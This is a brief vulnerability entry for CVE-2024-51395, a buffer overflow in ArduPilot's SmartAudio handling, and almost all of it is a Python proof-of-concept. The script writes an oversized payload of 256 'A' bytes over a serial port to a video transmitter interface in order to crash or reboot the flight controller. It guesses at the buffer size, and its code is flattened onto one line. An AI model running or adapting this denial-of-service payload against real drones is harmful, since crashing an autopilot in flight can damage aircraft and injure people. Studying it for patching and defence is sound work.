CVE-2024-51395 ArduPilot缓冲区溢出漏洞

# PoC for CVE-2024-51395 (Conceptual) # This script simulates sending a malicious payload to the SmartAudio serial interface. # import serial import time def trigger_dos(serial_port): try: # Open the serial port connected to the SmartAudio VTx ser = serial.Serial(serial_port, baudrate=4800, timeout=1) # Construct a payload that exceeds the buffer size in AP_SmartAudio.cpp # Assuming the buffer is small (e.g., 64 bytes), sending 256 bytes of 'A' malicious_payload = b'\x00' + b'A' * 256 print(f"[*] Sending malicious payload to {serial_port}...") ser.write(malicious_payload) print("[+] Payload sent. Check for system crash/reboot.") ser.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace '/dev/ttyUSB0' with the actual serial device trigger_dos('/dev/ttyUSB0')